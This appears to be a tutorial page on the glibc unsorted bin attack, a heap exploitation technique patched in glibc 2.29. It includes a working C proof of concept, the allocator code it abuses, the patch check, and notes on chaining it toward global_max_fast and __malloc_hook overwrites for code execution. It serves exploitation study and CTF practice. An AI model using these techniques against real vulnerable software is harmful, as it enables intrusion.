Skip to main content

Overview

The unsorted bin attack is a heap exploitation technique that allows writing a large value (a heap address) to an arbitrary memory location. It exploits the linking mechanism of the unsorted bin to perform an arbitrary write, typically used as a setup step for more complex attacks.
This technique was patched in glibc 2.29. It only works on glibc versions < 2.29.

Glibc Version Compatibility

Working Versions

glibc 2.23 - 2.28

Patched

glibc 2.29+ (April 2019)
Patch Information: glibc commit b90ddd08

What Does This Technique Achieve?

This attack allows you to:
  • Write a large value (heap address) to an arbitrary memory location
  • Overwrite global_max_fast - enable fastbin attacks on larger chunks
  • Corrupt function pointers - if you can tolerate a heap address value
  • Setup for further exploitation - prepare the heap for follow-up attacks
The unsorted bin attack is generally prepared for further attacks. A common target is the global_max_fast variable in libc, which when overwritten enables fastbin attacks on arbitrarily large chunks.

The Vulnerability

The attack requires:
  1. Heap overflow or UAF - ability to overwrite a freed chunk’s bk pointer
  2. Known target address - where you want to write the large value
  3. Subsequent malloc - to trigger the unsorted bin processing

Technical Details

Unsorted Bin Linking

When a chunk is allocated from the unsorted bin, malloc performs:
victim = unsorted_chunks(av)->bk;  // Get last chunk in unsorted bin
bck = victim->bk;                   // Get victim's bk pointer

// Remove victim from unsorted bin
unsorted_chunks(av)->bk = bck;      // Update unsorted bin's tail
bck->fd = unsorted_chunks(av);      // ← ARBITRARY WRITE HERE!
By controlling victim->bk, we control where bck->fd points, causing malloc to write unsorted_chunks(av) (a heap address) to target_address - 16 bytes.

The Write Primitive

// We control victim->bk
victim->bk = target_address - 16;

// After malloc():
// *(target_address - 16 + 16) = address_of_unsorted_bin
// *(target_address) = large_heap_value
The offset of 16 bytes accounts for the fd pointer position in the chunk structure. On 32-bit systems, use offset of 8 bytes.

Memory Layout

Unsorted Bin (before):
+----------------------------------+
| unsorted_chunks(av)              |
|   fd -> victim                   |
|   bk -> victim                   |
+----------------------------------+

+----------------------------------+
| Victim Chunk (freed)             |
|   size                           |
|   fd -> unsorted_chunks(av)      |
|   bk -> unsorted_chunks(av)      |  ← We corrupt this!
+----------------------------------+

After corruption:
+----------------------------------+
| Victim Chunk (freed)             |
|   size                           |
|   fd -> unsorted_chunks(av)      |
|   bk -> (target_addr - 16)       |  ← Points to target - 16
+----------------------------------+

Target Memory:
+----------------------------------+
| target_addr - 16                 |
|   (fd position)                  |
| target_addr                      |  ← Gets overwritten with heap addr
+----------------------------------+

Step-by-Step Exploitation

1

Allocate and Free Chunk

Create a chunk and free it to place in unsorted bin:
unsigned long *p = malloc(400);
malloc(500);  // Prevent consolidation with top chunk
free(p);      // p goes into unsorted bin
After this, p->bk points back to unsorted_chunks(av).
2

Identify Target

Choose your target address (must be writable):
unsigned long stack_var = 0;
// Or target global_max_fast in libc:
// unsigned long *global_max_fast = libc_base + offset;
3

Corrupt bk Pointer

Exploit vulnerability to overwrite the bk pointer:
//------------VULNERABILITY-----------
// Overwrite victim->bk with (target_address - 16)
// On x64: subtract 16 (2 * sizeof(void*))
// On x86: subtract 8
p[1] = (unsigned long)(&stack_var - 2);
//------------------------------------
Make sure to subtract the correct offset based on architecture:
  • 64-bit: target_addr - 16 or &target - 2 (for uint64_t*)
  • 32-bit: target_addr - 8 or &target - 2 (for uint32_t*)
4

Trigger Allocation

Call malloc to trigger the unsorted bin processing:
malloc(400);
// Now stack_var contains a large heap address!
During this malloc:
  1. Victim is removed from unsorted bin
  2. bck = victim->bk = &stack_var - 2
  3. bck->fd = unsorted_chunks(av) writes heap address to stack_var
5

Verify the Write

Check that the target was overwritten:
printf("Target value: %p\n", (void*)stack_var);
// Output: 0x7ffff... (large heap address)

Full Source Code

#include <stdio.h>
#include <stdlib.h>

int main(){
	fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
	fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
		   "global variable global_max_fast in libc for further fastbin attack\n\n");

	unsigned long stack_var=0;
	fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
	fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

	unsigned long *p=malloc(400);
	fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
	fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
           "the first one during the free()\n\n");
	malloc(500);

	free(p);
	fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
		   "point to %p\n",(void*)p[1]);

	//------------VULNERABILITY-----------

	p[1]=(unsigned long)(&stack_var-2);
	fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
	fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

	//------------------------------------

	malloc(400);
	fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
		   "rewritten:\n");
	fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

Common Attack Targets

1. global_max_fast

The most common target for unsorted bin attack is global_max_fast in libc.
Overwriting global_max_fast with a large value allows you to:
  • Treat larger chunks as fastbin chunks
  • Bypass fastbin size checks
  • Enable fastbin attacks on arbitrary-sized chunks
// After leaking libc base address
unsigned long *global_max_fast = libc_base + global_max_fast_offset;
victim->bk = (unsigned long)(global_max_fast - 2);
malloc(400);
// Now global_max_fast is corrupted with a huge value

2. Function Pointers

If you can tolerate the heap address value:
void (*func_ptr)(void) = NULL;
victim->bk = (unsigned long)(&func_ptr - 2);
malloc(400);
// func_ptr now contains a heap address
// Can be useful if heap contains shellcode

Why This Works

The key is in the unsorted bin’s doubly-linked list management:
// From malloc/malloc.c (glibc < 2.29)
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
    bck = victim->bk;
    
    // ... size checks ...
    
    // Remove victim from unsorted bin
    unsorted_chunks(av)->bk = bck;
    bck->fd = unsorted_chunks(av);  // ← WRITE HAPPENS HERE
    
    // ... continue processing ...
}

The Patch (glibc 2.29)

The patch added this check:
if (__glibc_unlikely (bck->fd != victim))
  malloc_printerr ("malloc(): unsorted double linked list corrupted");
This validates that victim->bk->fd points back to victim, preventing the attack.

Exploitation in Practice

1

Leak libc address

Use unsorted bin to leak libc addresses first
2

Unsorted bin attack

Overwrite global_max_fast to large value
3

Fastbin attack

Exploit fastbin to get arbitrary allocation
4

Code execution

Overwrite __malloc_hook or similar

0CTF 2016

zerostorage - Classic unsorted bin attack usage

Practice

Try it in your browser

Debug this technique interactively on Ret2 Wargames (glibc 2.27)
  • Unsorted Bin Into Stack - Get arbitrary allocation instead of write
  • Large Bin Attack - Similar concept with large bins (still works in modern glibc)
  • [House of Roman/techniques/house/house-of-roman) - Combines unsorted bin attack with other primitives

References

Build docs developers (and LLMs) love